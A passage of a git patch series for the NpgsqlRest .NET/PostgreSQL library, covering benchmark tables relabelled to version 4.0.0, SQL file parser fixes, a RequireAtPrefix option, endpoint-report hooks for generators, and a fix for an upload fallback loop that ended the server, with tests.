| 61 / 60 / 65 | +| AOT 4.0.0 Runtime Async | 159.6 / 160.0 / 163.4 | 355.4 / 354.8 / 355.5 | 569.2 / 563.3 / 564.2 | 60 / 61 / 66 | -The third table is where "what .NET 11 itself changes" in the changelog comes from. It was measured before the reset rule existed, so both 3.22.0 builds in it reset with `DISCARD ALL`, and 3.21.0 (which never reset) is listed only for orientation. +The third table is where "what .NET 11 itself changes" in the changelog comes from. It was measured before the reset rule existed, so both 4.0.0 builds in it reset with `DISCARD ALL`, and 3.21.0 (which never reset) is listed only for orientation. Runtime Async against standard async, final builds: every figure is within the spread between rounds. The 2-3% lower row throughput noted in round 2 was an order effect (Runtime Async always ran last there); with the order varied it is gone. ## What resetting connections costs -The same 3.22.0 binaries with the three reset behaviors. "No reset" is the final build with default settings (three rounds), "lighter reset" the build that always reset (three rounds), `DISCARD ALL` the builds before the client change (JIT: six runs for text, three for PL/pgSQL; AOT: five and two). Averages: +The same 4.0.0 binaries with the three reset behaviors. "No reset" is the final build with default settings (three rounds), "lighter reset" the build that always reset (three rounds), `DISCARD ALL` the builds before the client change (JIT: six runs for text, three for PL/pgSQL; AOT: five and two). Averages: | | No reset | Lighter reset | `DISCARD ALL` | 3.21.0 (no reset) | |---|---:|---:|---:|---:| @@ -279,15 +279,15 @@ The endpoint benchmark was copied into a worktree of `master` (it did not exist | | GetText | GetRows100 | HttpOnly | NpgsqlOnly | |---|---|---|---|---| | 3.21.0, .NET 10, run 1 | 177.19 µs, 7.13 KB | 425.20 µs, 190.68 KB | 30.47 µs, 2.99 KB | 125.16 µs, 1.55 KB | -| 3.22.0, .NET 11, run 1 | 180.18 µs, 4.91 KB | 394.10 µs, 51.02 KB | 38.88 µs, 3.03 KB | 131.70 µs, 1.57 KB | +| 4.0.0, .NET 11, run 1 | 180.18 µs, 4.91 KB | 394.10 µs, 51.02 KB | 38.88 µs, 3.03 KB | 131.70 µs, 1.57 KB | | 3.21.0, .NET 10, run 2 | 176.77 µs, 7.13 KB | 425.02 µs, 190.68 KB | 30.22 µs, 2.99 KB | 129.12 µs, 1.55 KB | -| 3.22.0, .NET 11, run 2 | 180.98 µs, 4.90 KB | 400.76 µs, 50.97 KB | 39.36 µs, 3.03 KB | 131.76 µs, 1.57 KB | +| 4.0.0, .NET 11, run 2 | 180.98 µs, 4.90 KB | 400.76 µs, 50.97 KB | 39.36 µs, 3.03 KB | 131.76 µs, 1.57 KB | GetRows100 collections per 1,000 requests: gen 0 23.44 -> 6.35, gen 1 3.42 -> 0.49. The Runtime Async figures are those of round 2 (the library did not change afterwards). The two controls are the interesting part for .NET 11: the same plain HTTP round trip takes 30.3 µs on .NET 10 and 39.1 µs on .NET 11, the same Npgsql query 127.1 µs and 131.7 µs. Together that is 13.4 µs more on .NET 11 for work NpgsqlRest is not involved in, which is why GetText is 3.6 µs slower although NpgsqlRest's own part (GetText minus the two controls) went from 19.6 µs to 9.8 µs. The benchmark uses the library with a plain connection string, so both versions reset their connections with `DISCARD ALL`; the reset rule lives in the `npgsqlrest` client and plays no part here. -Native AOT binary (osx-arm64): 35,343,856 bytes for 3.21.0, 36,255,760 for 3.22.0, 35,972,768 with Runtime Async. +Native AOT binary (osx-arm64): 35,343,856 bytes for 3.21.0, 36,255,760 for 4.0.0, 35,972,768 with Runtime Async. Verification of the final state: 3,013 tests pass on .NET 11 and on .NET 10 (`-p:NpgsqlRestTestFramework=net10.0`); both final AOT executables pass `.github/scripts/aot-smoke-test.sh`. @@ -316,10 +316,10 @@ Statement log (`log_statement = 'all'`) for one request of a signed-in user to ` | Build | Statements | |---|---| | 3.21.0 | 4 x `select set_config($1,$2,false)` (one batch), then `select public.who_am_i(_greeting=>$1)`; no reset | -| 3.22.0 before this round | the reset (`SET SESSION AUTHORIZATION DEFAULT;RESET ALL;CLOSE ALL;UNLISTEN *;SELECT pg_advisory_unlock_all();DISCARD SEQUENCES;DISCARD TEMP`), 4 x `select set_config($1,$2,false)`, then the routine | -| 3.22.0 | `select set_config($1,$2,true) is null,set_config($3,$4,true) is null,set_config($5,$6,true) is null,set_config($7,$8,true) is null` and the routine, in one batch; no reset | +| 4.0.0 before this round | the reset (`SET SESSION AUTHORIZATION DEFAULT;RESET ALL;CLOSE ALL;UNLISTEN *;SELECT pg_advisory_unlock_all();DISCARD SEQUENCES;DISCARD TEMP`), 4 x `select set_config($1,$2,false)`, then the routine | +| 4.0.0 | `select set_config($1,$2,true) is null,set_config($3,$4,true) is null,set_config($5,$6,true) is null,set_config($7,$8,true) is null` and the routine, in one batch; no reset | -A cache hit on an endpoint with `user_context` and `cached` (client started with `CacheOptions:Enabled=true`): 3.21.0 sent the four `set_config` statements for every hit, 3.22.0 before this round the reset and the four statements, 3.22.0 sends nothing. +A cache hit on an endpoint with `user_context` and `cached` (client started with `CacheOptions:Enabled=true`): 3.21.0 sent the four `set_config` statements for every hit, 4.0.0 before this round the reset and the four statements, 4.0.0 sends nothing. ## Load test @@ -328,13 +328,13 @@ Method as in round 3 (HTTP/1.1 keep-alive client; sequential response time at 1 - The client is started with `--Auth:CookieAuth=true`; the load generator logs in once through a `login` function and sends the cookie with every request. Every request to a context endpoint therefore carries four settings (IP address, user id, user name, roles). - Endpoints: `ctx_text()` (short text value built from `request.user_name`), `ctx_plpgsql(_id int)` (the five-query PL/pgSQL function of round 3, reading `request.user_id`), `ctx_rows(_count int)` with 100 rows (the rows of round 3, with the user id in the jsonb column), all with `user_context`; and `benchmark_get_text()` without context, in the same application. - PostgreSQL CPU per request is the container's cgroup `cpu.stat` `usage_usec` delta divided by the number of requests. -- Six builds, three rounds, the order rotating by one with every round. "3.22.0 before" is commit `3810e6e` (round 3's final build): the reset that keeps plans, and two round trips. +- Six builds, three rounds, the order rotating by one with every round. "4.0.0 before" is commit `3810e6e` (round 3's final build): the reset that keeps plans, and two round trips. Averages, with the three rounds in brackets. Response times and CPU are in µs. **JIT** -| | 3.21.0 (.NET 10) | 3.22.0 before (reset, two round trips) | 3.22.0 (one round trip, no reset) | +| | 3.21.0 (.NET 10) | 4.0.0 before (reset, two round trips) | 4.0.0 (one round trip, no reset) | |---|---:|---:|---:| | **Requests per second** (32 connections) | | | | | Text value, `user_context` | 21,070 (21,022 / 21,168 / 21,020) | 19,018 (19,025 / 18,960 / 19,070) | 35,704 (34,379 / 36,389 / 36,345) | @@ -357,7 +357,7 @@ Averages, with the three rounds in brackets. Response times and CPU are in µs. **Native AOT** -| | 3.21.0 (.NET 10) | 3.22.0 before (reset, two round trips) | 3.22.0 (one round trip, no reset) | +| | 3.21.0 (.NET 10) | 4.0.0 before (reset, two round trips) | 4.0.0 (one round trip, no reset) | |---|---:|---:|---:| | **Requests per second** (32 connections) | | | | | Text value, `user_context` | 21,209 (21,218 / 21,092 / 21,317) | 18,125 (18,254 / 17,982 / 18,139) | 35,570 (35,484 / 35,846 / 35,379) | @@ -385,7 +385,7 @@ Reading: - An endpoint without context in the same application: 3.21.0 39,429 / 38,108 requests per second (JIT / AOT), before this round 33,812 / 32,759 (the reset applies to every endpoint of an application that has a context endpoint), now 38,048 / 37,094. - PostgreSQL's own CPU for the small request: 97 µs in 3.21.0, 120-121 µs with the reset, 60 µs now. -The login cookie itself, on the endpoint without context (AOT, two rounds, µs at one connection, without / with the cookie): 3.21.0 182.6 / 190.3 and 182.2 / 191.4; 3.22.0 code on .NET 10 186.5 / 193.1 and 185.0 / 199.4; 3.22.0 on .NET 11 191.9 / 202.7 and 196.6 / 201.9. The cookie costs about 8 µs in every build; what differs between the builds is the small-request cost of .NET 11 measured in round 3. +The login cookie itself, on the endpoint without context (AOT, two rounds, µs at one connection, without / with the cookie): 3.21.0 182.6 / 190.3 and 182.2 / 191.4; 4.0.0 code on .NET 10 186.5 / 193.1 and 185.0 / 199.4; 4.0.0 on .NET 11 191.9 / 202.7 and 196.6 / 201.9. The cookie costs about 8 µs in every build; what differs between the builds is the small-request cost of .NET 11 measured in round 3. ## JIT: BenchmarkDotNet, before and after @@ -393,8 +393,8 @@ The login cookie itself, on the endpoint without context (AOT, two rounds, µs a | | GetText | GetRows100 | GetTextUserContext | HttpOnly | NpgsqlOnly | |---|---|---|---|---|---| -| 3.22.0 before this round (`3810e6e`) | 182.61 µs, 4.91 KB | 396.37 µs, 50.92 KB | 333.81 µs, 10.17 KB | 39.90 µs, 3.03 KB | 131.64 µs, 1.58 KB | -| 3.22.0 | 179.22 µs, 4.90 KB | 398.37 µs, 50.91 KB | 207.11 µs, 8.76 KB | 39.31 µs, 3.03 KB | 131.59 µs, 1.56 KB | +| 4.0.0 before this round (`3810e6e`) | 182.61 µs, 4.91 KB | 396.37 µs, 50.92 KB | 333.81 µs, 10.17 KB | 39.90 µs, 3.03 KB | 131.64 µs, 1.58 KB | +| 4.0.0 | 179.22 µs, 4.90 KB | 398.37 µs, 50.91 KB | 207.11 µs, 8.76 KB | 39.31 µs, 3.03 KB | 131.59 µs, 1.56 KB | The context request is 127 µs faster, one `NpgsqlOnly` round trip, and allocates 1.4 KB less. It still costs 28 µs and 3.9 KB more than `GetText`: the batch, its two batch commands and the eight text parameters of four settings. Nothing else moved, as expected: endpoints without context run the same code as before. diff --git a/Directory.Build.props b/Directory.Build.props index 6121e83f..20606053 100644 --- a/Directory.Build.props +++ b/Directory.Build.props @@ -24,12 +24,12 @@ + true true - 1.2.0 - 1.2.0 - 1.2.0 - 1.2.0 + snupkg + true + true + true + 1.2.1 + 1.2.1 + 1.2.1 + 1.2.1 15 diff --git a/plugins/NpgsqlRest.OpenApi/NpgsqlRest.OpenApi.csproj b/plugins/NpgsqlRest.OpenApi/NpgsqlRest.OpenApi.csproj index 96662c01..5913cab5 100644 --- a/plugins/NpgsqlRest.OpenApi/NpgsqlRest.OpenApi.csproj +++ b/plugins/NpgsqlRest.OpenApi/NpgsqlRest.OpenApi.csproj @@ -28,10 +28,10 @@ true README.MD bin\$(Configuration)\$(AssemblyName).xml - 1.3.0 - 1.3.0 - 1.3.0 - 1.3.0 + 1.4.0 + 1.4.0 + 1.4.0 + 1.4.0 15 diff --git a/plugins/NpgsqlRest.OpenApi/OpenApi.cs b/plugins/NpgsqlRest.OpenApi/OpenApi.cs index bcee523a..11b9b7bb 100644 --- a/plugins/NpgsqlRest.OpenApi/OpenApi.cs +++ b/plugins/NpgsqlRest.OpenApi/OpenApi.cs @@ -57,6 +57,8 @@ internal static string ResolveSpecVersion(string? specVersion) private IApplicationBuilder _builder = default!; private JsonObject _document = default!; private JsonObject _paths = default!; + // For tools (EndpointReport): the operation id written for each endpoint. + private readonly List<(RoutineEndpoint Endpoint, string OperationId)> _generated = []; private JsonObject _schemas = default!; private JsonObject? _securitySchemes = null; private HashSet? _includeSchemas = null; @@ -259,6 +261,7 @@ public void Handle(RoutineEndpoint endpoint) // Add operation ID operation["operationId"] = $"{endpoint.Routine.Schema}_{endpoint.Routine.Name}_{method}"; + _generated.Add((endpoint, $"{endpoint.Routine.Schema}_{endpoint.Routine.Name}_{method}")); // Add parameters var parameters = new JsonArray(); @@ -627,6 +630,8 @@ public void Cleanup() Directory.CreateDirectory(dir); } File.WriteAllText(fullFileName, json); + EndpointReport.AddGenerated("openapi", fullFileName, "document", json, + _generated.Select(g => (g.Endpoint, g.OperationId, new[] { $"\"{g.OperationId}\"" }))); Logger?.LogDebug("Created OpenAPI file: {fileName}", fullFileName); } } diff --git a/plugins/NpgsqlRest.SqlFileSource/NpgsqlRest.SqlFileSource.csproj b/plugins/NpgsqlRest.SqlFileSource/NpgsqlRest.SqlFileSource.csproj index 5558c22f..6bc6f76c 100644 --- a/plugins/NpgsqlRest.SqlFileSource/NpgsqlRest.SqlFileSource.csproj +++ b/plugins/NpgsqlRest.SqlFileSource/NpgsqlRest.SqlFileSource.csproj @@ -26,10 +26,10 @@ true true bin\$(Configuration)\$(AssemblyName).xml - 1.2.0 - 1.2.0 - 1.2.0 - 1.2.0 + 1.3.0 + 1.3.0 + 1.3.0 + 1.3.0 15 diff --git a/plugins/NpgsqlRest.SqlFileSource/SqlFileParser.cs b/plugins/NpgsqlRest.SqlFileSource/SqlFileParser.cs index e4af8a16..ea54065d 100644 --- a/plugins/NpgsqlRest.SqlFileSource/SqlFileParser.cs +++ b/plugins/NpgsqlRest.SqlFileSource/SqlFileParser.cs @@ -138,8 +138,12 @@ private enum State /// /// The SQL file content. /// Which comments to extract as annotations. - public static SqlFileParseResult Parse(ReadOnlySpan content, CommentScope commentScope = CommentScope.All) + // RequireAtPrefix for the Parse that is running on this thread: a comment line is an annotation only with the @. + [ThreadStatic] private static bool _requireAt; + + public static SqlFileParseResult Parse(ReadOnlySpan content, CommentScope commentScope = CommentScope.All, bool requireAtPrefix = false) { + _requireAt = requireAtPrefix; var result = new SqlFileParseResult(); if (content.IsEmpty) return result; @@ -148,6 +152,8 @@ public static SqlFileParseResult Parse(ReadOnlySpan content, CommentScope var stmtBuilder = new ValueStringBuilder(stackalloc char[Math.Min(content.Length, 4096)]); var dollarTag = new ValueStringBuilder(stackalloc char[64]); int blockCommentDepth = 0; + // the string being read is E'...': a backslash escapes the next character + bool escapeString = false; bool firstStatementSeen = false; // Track the token before a dollar-quote for DO block detection var lastToken = new ValueStringBuilder(stackalloc char[16]); @@ -231,9 +237,38 @@ public static SqlFileParseResult Parse(ReadOnlySpan content, CommentScope continue; } + // A quoted identifier: "..." (a doubled "" inside it is a quote). Nothing in it is a comment, + // a string or the end of a statement: select 1 as "a--b; c". + if (c == '"') + { + int identifierStart = i; + i++; + while (i < len) + { + if (content[i] == '"') + { + if (i + 1 < len && content[i + 1] == '"') + { + i += 2; + continue; + } + i++; + break; + } + i++; + } + stmtBuilder.Append(content[identifierStart..i]); + lastTokenIsWord = false; + lastToken.Clear(); + continue; + } + // Check for single quote: ' if (c == '\'') { + // E'...' (an escape string): a backslash escapes the next character, also a quote + escapeString = i > 0 && (content[i - 1] is 'E' or 'e') + && (i == 1 || !(char.IsLetterOrDigit(content[i - 2]) || content[i - 2] == '_')); state = State.SingleQuote; stmtBuilder.Append(c); lastTokenIsWord = false; @@ -250,7 +285,9 @@ public static SqlFileParseResult Parse(ReadOnlySpan content, CommentScope // Collect tag name (alphanumeric + underscore) while (i < len && (char.IsLetterOrDigit(content[i]) || content[i] == '_')) i++; - if (i < len && content[i] == '$') + // A tag is an identifier and cannot begin with a digit: in "$1$2" the first dollar is the + // parameter $1, not the opening of a string tagged "1". + if (i < len && content[i] == '$' && !(i > tagStart + 1 && char.IsDigit(content[tagStart + 1]))) { // Valid dollar quote opening dollarTag.Clear(); @@ -399,6 +436,12 @@ public static SqlFileParseResult Parse(ReadOnlySpan content, CommentScope case State.SingleQuote: stmtBuilder.Append(c); + if (escapeString && c == '\\' && i + 1 < len) + { + stmtBuilder.Append(content[i + 1]); + i += 2; + continue; + } if (c == '\'') { // Check for escaped quote '' @@ -506,6 +549,10 @@ private static void ExtractPerCommandAnnotations(string comment, int statementIn { var trimmed = line.Trim(); var explicitAnnotation = trimmed.StartsWith('@'); + if (_requireAt && explicitAnnotation is false) + { + continue; // RequireAtPrefix: text + } var s = explicitAnnotation ? trimmed[1..] : trimmed; // @single / @single_record / @single_result @@ -660,6 +707,10 @@ private static void ExtractVirtualParams(SqlFileParseResult result) foreach (var line in lines) { var trimmed = line.Trim(); + if (_requireAt && trimmed.StartsWith('@') is false) + { + continue; // RequireAtPrefix: text + } var s = trimmed.StartsWith('@') ? trimmed[1..] : trimmed; if (TryKeyword(s, "define_param", out var rest) is false) @@ -687,7 +738,7 @@ private static void ExtractVirtualParams(SqlFileParseResult result) /// @param :name type, @param name type is type. /// Only extracts when an explicit type is present. Returns null if no type hints found. /// - public static Dictionary? ExtractParamTypeHints(string? comment, IReadOnlyList? namedParams = null) + public static Dictionary? ExtractParamTypeHints(string? comment, IReadOnlyList? namedParams = null, bool requireAtPrefix = false) { if (string.IsNullOrEmpty(comment)) return null; @@ -697,6 +748,10 @@ private static void ExtractVirtualParams(SqlFileParseResult result) foreach (var line in lines) { var trimmed = line.Trim(); + if (requireAtPrefix && trimmed.StartsWith('@') is false) + { + continue; // RequireAtPrefix: text + } var s = trimmed.StartsWith('@') ? trimmed[1..] : trimmed; if (!s.StartsWith("param ", StringComparison.OrdinalIgnoreCase) && diff --git a/plugins/NpgsqlRest.SqlFileSource/SqlFileSource.cs b/plugins/NpgsqlRest.SqlFileSource/SqlFileSource.cs index 90b53c4d..80760bdd 100644 --- a/plugins/NpgsqlRest.SqlFileSource/SqlFileSource.cs +++ b/plugins/NpgsqlRest.SqlFileSource/SqlFileSource.cs @@ -54,6 +54,8 @@ public class SqlFileSource(SqlFileSourceOptions options) : IEndpointSource foreach (var filePath in files) { (Routine, IRoutineSourceParameterFormatter)? result = null; + _notExposed = null; + EndpointReport.BeginCapture(); try { result = ProcessFile(filePath, baseDir, connection, nameConverter, options); @@ -67,11 +69,29 @@ public class SqlFileSource(SqlFileSourceOptions options) : IEndpointSource Environment.Exit(1); } } + var diagnostics = EndpointReport.EndCapture(); if (result is not null) { yield return result.Value; } + else + { + // Said for tools (npgsqlrest --inspect): the file was read and is not an endpoint, and why. + var (reason, message) = _notExposed ?? ("sql_error", + diagnostics is { Length: > 0 } + ? "The file could not be made into an endpoint: " + diagnostics[^1] + : "The file could not be made into an endpoint."); + EndpointReport.AddNotExposed(new NotExposedEntry + { + Kind = "sql_file", + Name = Path.GetFileNameWithoutExtension(filePath), + SourceFile = filePath, + Reason = reason, + Message = message, + Diagnostics = diagnostics + }); + } } } finally @@ -83,6 +103,9 @@ public class SqlFileSource(SqlFileSourceOptions options) : IEndpointSource } } + // Why ProcessFile returned nothing for the file it was given, when that is not an error. + [ThreadStatic] private static (string Reason, string Message)? _notExposed; + private static (Routine, IRoutineSourceParameterFormatter)? ProcessFile( string filePath, string baseDir, @@ -91,7 +114,8 @@ private static (Routine, IRoutineSourceParameterFormatter)? ProcessFile( SqlFileSourceOptions options) { var content = File.ReadAllText(filePath); - var parseResult = SqlFileParser.Parse(content, options.CommentScope); + var requireAt = NpgsqlRestOptions.Options.RequireAtPrefix; + var parseResult = SqlFileParser.Parse(content, options.CommentScope, requireAt); // When CommentsMode gates endpoint creation (OnlyAnnotated, or its back-compat alias @@ -101,9 +125,23 @@ private static (Routine, IRoutineSourceParameterFormatter)? ProcessFile( // endpoint candidate too, so it passes the gate; the check stays textual and cheap, so scripts // with neither are never described. if (options.CommentsMode is NpgsqlRest.CommentsMode.OnlyWithHttpTag or NpgsqlRest.CommentsMode.OnlyAnnotated - && !HasHttpTag(parseResult.Comment) - && !HasEndpointRequestingAnnotation(parseResult.Comment)) + && !HasHttpTag(parseResult.Comment, requireAt) + && !HasEndpointRequestingAnnotation(parseResult.Comment, requireAt)) { + if (requireAt && HasHttpTag(parseResult.Comment, false)) + { + // a file in the old form after the switch: worth a warning at every start + NpgsqlRestOptions.Logger?.LogWarning( + "SqlFileSource: {FilePath}: no endpoint is created, because its HTTP line is written without the @ prefix and RequireAtPrefix is on. Write its annotations with @ (@http ...), or set RequireAtPrefix to false.", + filePath); + _notExposed = ("unprefixed_annotations", "Its HTTP line is written without the @ prefix, and RequireAtPrefix is on, so the line is text. Write the annotations with @ (@http ...), or set RequireAtPrefix to false."); + } + else + { + _notExposed = ("no_http_annotation", requireAt + ? "The file has no @http annotation in a comment. Under this CommentsMode only a file that has one becomes an endpoint." + : "The file has no HTTP annotation in a comment. Under this CommentsMode only a file that has one becomes an endpoint."); + } return null; } @@ -124,6 +162,7 @@ private static (Routine, IRoutineSourceParameterFormatter)? ProcessFile( if (parseResult.Statements.Count == 0) { + _notExposed = ("empty_file", "The file has no SQL statement."); return null; } @@ -162,7 +201,7 @@ private static (Routine, IRoutineSourceParameterFormatter)? ProcessFile( int mergedMaxParam = 0; var paramTypesByIndex = new Dictionary(); // $N index → type name var commandDescribes = new List(); - var paramTypeHints = SqlFileParser.ExtractParamTypeHints(parseResult.Comment, namedList); + var paramTypeHints = SqlFileParser.ExtractParamTypeHints(parseResult.Comment, namedList, requireAt); for (int stmtIndex = 0; stmtIndex < parseResult.Statements.Count; stmtIndex++) { @@ -803,7 +842,7 @@ private static string GetBaseDirectory(string filePattern) /// Check whether the parsed comment contains an HTTP tag (a line starting with "http"). /// Mirrors the detection logic in DefaultCommentParser. /// - private static bool HasHttpTag(string comment) + private static bool HasHttpTag(string comment, bool requireAtPrefix) { if (string.IsNullOrEmpty(comment)) { @@ -811,8 +850,13 @@ private static bool HasHttpTag(string comment) } foreach (var line in comment.Split('\n')) { - // the @ is optional, as everywhere: "@http GET" is an HTTP tag too - var trimmed = line.Trim().TrimStart('@'); + // the @ is optional ("@http GET" and "HTTP GET"), unless RequireAtPrefix is on + var trimmed = line.Trim(); + if (requireAtPrefix && trimmed.StartsWith('@') is false) + { + continue; + } + trimmed = trimmed.TrimStart('@'); if (trimmed.Length >= 4 && trimmed.StartsWith("http", StringComparison.OrdinalIgnoreCase) && (trimmed.Length == 4 || trimmed[4] == ' ' || trimmed[4] == '\t')) @@ -830,7 +874,7 @@ private static bool HasHttpTag(string comment) /// (e.g. a bare mcp). /// Such a file is an endpoint candidate (an MCP-only tool) even without an HTTP tag. ///
- private void WriteHooks(string? hooksFileName, string clientFileName, List<(string Camel, string Pascal, bool IsGet, bool HasRequest)> hookEntries) + private static void ReportGenerated(string fileName, string text, List<(RoutineEndpoint Endpoint, string Camel, string Pascal)> generated) + { + EndpointReport.AddGenerated("tsclient", fileName, "client", text, + generated.Select(g => (g.Endpoint, g.Camel, new[] { $"function {g.Camel}(", $"const {g.Camel}Url " }))); + } + + private void WriteHooks(string? hooksFileName, string clientFileName, List<(string Camel, string Pascal, bool IsGet, bool HasRequest)> hookEntries, + List<(RoutineEndpoint Endpoint, string Camel, string Pascal)> generated) { // No eligible routines in this module - don't write an empty hooks file. if (hooksFileName is null || hookEntries.Count == 0) @@ -1771,6 +1785,9 @@ private void WriteHooks(string? hooksFileName, string clientFileName, List<(stri } File.WriteAllText(hooksFileName, sb.ToString()); + var hooked = hookEntries.Select(h => h.Camel).ToHashSet(); + EndpointReport.AddGenerated("tsclient", hooksFileName, "hooks", sb.ToString(), + generated.Where(g => hooked.Contains(g.Camel)).Select(g => (g.Endpoint, $"use{g.Pascal}", new[] { $"function use{g.Pascal}(", $"function use{g.Pascal}Mutation(" }))); _filesCreated++; Logger?.LogTrace("Created TanStack Query hooks file: {hooksFileName}", hooksFileName); } diff --git a/version.txt b/version.txt index cc868b62..99eba4de 100644 --- a/version.txt +++ b/version.txt @@ -1 +1 @@ -4.0.1 \ No newline at end of file +4.1.0 \ No newline at end of file From 0135545b5d3063107deac8401e604af915072184 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Sat, 21 Nov 2026 10:50:14 +0100 Subject: [PATCH 29/38] fix: an Excel and a CSV file in one upload ended the server; --inspect marks endpoints without a route Found by running the docs examples against 4.1.0 (the first is not new in 4.x). - upload: a handler is never handed the same request twice. With "upload for excel" and "fallback_handler = csv", a request with an Excel file and a CSV file made the CSV handler fall back to itself until the stack overflowed and the process ended. - --endpoints and --inspect: "internalOnly": true on an endpoint that has no HTTP route (an MCP-only tool). - changelog: both, and that --inspect runs the enabled generators. --- .../Handlers/BaseUploadHandler.cs | 16 +++++++++++ NpgsqlRestClient/EndpointCapture.cs | 2 ++ NpgsqlRestTests/CliTests/CliCommandTests.cs | 8 ++++-- .../CommentTests/EndpointReportTests.cs | 12 ++++++-- .../UploadTests/ExcelUploadTests.cs | 28 +++++++++++++++++++ changelog/v4.1.0.md | 26 +++++++++++++++-- 6 files changed, 84 insertions(+), 8 deletions(-) diff --git a/NpgsqlRest/UploadHandlers/Handlers/BaseUploadHandler.cs b/NpgsqlRest/UploadHandlers/Handlers/BaseUploadHandler.cs index a3c2f33f..1d2ce9ce 100644 --- a/NpgsqlRest/UploadHandlers/Handlers/BaseUploadHandler.cs +++ b/NpgsqlRest/UploadHandlers/Handlers/BaseUploadHandler.cs @@ -8,6 +8,12 @@ public abstract class BaseUploadHandler protected string? Type = null; protected string? FallbackHandler = null; + // The handlers that already handed this request over, when this handler is itself a fallback. A fallback + // handles the whole request again and reads the same parameters, so it has the same fallback_handler: with + // "upload for excel" and "fallback_handler = csv", a request with an Excel file and a CSV file went + // excel -> csv (for the CSV file) -> csv (for the Excel file) -> csv ... until the stack overflowed and the + // process ended. A handler is never handed a request twice. + private HashSet? _handedOverBy = null; protected bool CheckMimeTypes(string contentType) { @@ -135,12 +141,22 @@ public IEnumerable Parameters Options.UploadOptions.UploadHandlers is not null && Options.UploadOptions.UploadHandlers.TryGetValue(FallbackHandler, out var fallbackFactory)) { + if (string.Equals(FallbackHandler, Type, StringComparison.OrdinalIgnoreCase) || _handedOverBy?.Contains(FallbackHandler) is true) + { + // this handler, or one before it, is that handler: there is nobody left to hand the file to + return null; + } Logger?.LogDebug("Upload format invalid, falling back to {fallbackHandler} handler", FallbackHandler); var handler = fallbackFactory(retryStrategy); handler.SetType(FallbackHandler); if (handler is BaseUploadHandler baseHandler) { baseHandler.ParseSharedParameters(options, parameters); + baseHandler._handedOverBy = new HashSet(_handedOverBy ?? [], StringComparer.OrdinalIgnoreCase); + if (Type is not null) + { + baseHandler._handedOverBy.Add(Type); + } } return await handler.UploadAsync(connection, context, parameters, cancellationToken); } diff --git a/NpgsqlRestClient/EndpointCapture.cs b/NpgsqlRestClient/EndpointCapture.cs index 0a91a882..fde68618 100644 --- a/NpgsqlRestClient/EndpointCapture.cs +++ b/NpgsqlRestClient/EndpointCapture.cs @@ -113,6 +113,8 @@ public static void WriteEndpointsJson(Utf8JsonWriter writer) writer.WriteEndArray(); } + // No HTTP route: the endpoint exists for a plugin (an MCP tool) or for internal calls only. + if (ep.InternalOnly) writer.WriteBoolean("internalOnly", true); if (ep.Login) writer.WriteBoolean("login", true); if (ep.Logout) writer.WriteBoolean("logout", true); if (ep.SecuritySensitive) writer.WriteBoolean("securitySensitive", true); diff --git a/NpgsqlRestTests/CliTests/CliCommandTests.cs b/NpgsqlRestTests/CliTests/CliCommandTests.cs index 66e66cf1..9e3ac023 100644 --- a/NpgsqlRestTests/CliTests/CliCommandTests.cs +++ b/NpgsqlRestTests/CliTests/CliCommandTests.cs @@ -585,7 +585,9 @@ public async Task Inspect_lists_endpoints_what_is_not_exposed_and_generated_file var endpoints = json["endpoints"]!.AsArray(); endpoints.Select(e => e!["path"]!.GetValue()).Order(StringComparer.Ordinal).Should().Equal( - "/api/good", "/api/rpt/header-at", "/api/rpt/show", "/api/rpt/shown", "/api/rpt/shown-too", "/api/rpt/tabbed"); + "/api/good", "/api/rpt/header-at", "/api/rpt/kept-inside", "/api/rpt/show", "/api/rpt/shown", "/api/rpt/shown-too", "/api/rpt/tabbed"); + // an endpoint without an HTTP route is marked, and only that one + endpoints.Where(e => e!["internalOnly"]?.GetValue() is true).Select(e => e!["path"]!.GetValue()).Should().Equal("/api/rpt/kept-inside"); var good = endpoints.Single(e => e!["path"]!.GetValue() == "/api/good")!; good["routine"]!["sourceFile"]!.GetValue().Should().Be(Path.Combine(dir, "sql", "good.sql")); // (a local appsettings.Development.json next to the client may turn other generators on as well) @@ -624,8 +626,8 @@ public async Task Inspect_lists_endpoints_what_is_not_exposed_and_generated_file "--NpgsqlRest:ClientCodeGen:FilePath=" + dir.Replace('\\', '/') + "/client2.ts", "--NpgsqlRest:ClientCodeGen:BySchema=false"); var array = JsonNode.Parse(endpointsOut)!.AsArray(); - array.Should().HaveCount(6); - array.Should().OnlyContain(e => e!["generated"]!.AsArray().Count(g => g!["generator"]!.GetValue() == "tsclient") == 1); + array.Should().HaveCount(7); + array.Where(e => e!["internalOnly"]?.GetValue() is not true).Should().OnlyContain(e => e!["generated"]!.AsArray().Count(g => g!["generator"]!.GetValue() == "tsclient") == 1); } finally { diff --git a/NpgsqlRestTests/CommentTests/EndpointReportTests.cs b/NpgsqlRestTests/CommentTests/EndpointReportTests.cs index 9ab34355..ffda88a9 100644 --- a/NpgsqlRestTests/CommentTests/EndpointReportTests.cs +++ b/NpgsqlRestTests/CommentTests/EndpointReportTests.cs @@ -26,6 +26,11 @@ comment on function rpt.shown(int) is 'HTTP GET create function rpt.show() returns text language sql as $$ select 'show' $$; comment on function rpt.show() is 'HTTP GET'; +-- an endpoint without an HTTP route: generators leave it out, the report says what it is +create function rpt.kept_inside() returns text language sql as $$ select 'inside' $$; +comment on function rpt.kept_inside() is 'HTTP GET +internal'; + create function rpt.tabbed() returns text language sql as $$ select 'tabbed' $$; comment on function rpt.tabbed() is E'@http\tget\n@authorize\tadmin,\tmanager\n@timeout\t30s'; @@ -174,7 +179,7 @@ public class EndpointReportTests(EndpointReportTestFixture test) [Fact] public void Every_routine_with_a_reason_to_be_looked_at_is_an_endpoint_or_reported() { - test.Endpoints.Keys.Order().Should().Equal("header_at", "show", "shown", "shown_too", "tabbed"); + test.Endpoints.Keys.Order().Should().Equal("header_at", "kept_inside", "show", "shown", "shown_too", "tabbed"); // (the database of the test run has other schemas; their routines with an HTTP line are left out by // this application's IncludeSchemas too, and reported the same way) test.NotExposed.Where(e => e.Schema is "rpt" or "rpt_hidden").Select(e => $"{e.Schema}.{e.Name}: {e.Reason}").Should().BeEquivalentTo( @@ -312,7 +317,10 @@ public void The_operation_of_an_endpoint_in_the_openapi_document() [Fact] public void Every_endpoint_has_its_files_and_every_file_is_listed_once() { - foreach (var name in test.Endpoints.Keys) + // an internal-only endpoint has no route, so no client function and no request; OpenAPI describes it + test.Endpoints["kept_inside"].InternalOnly.Should().BeTrue(); + test.Generated["kept_inside"].Select(g => $"{g.Generator}/{g.Role}").Should().NotContain(["tsclient/client", "tsclient/hooks", "httpfiles/requests"]); + 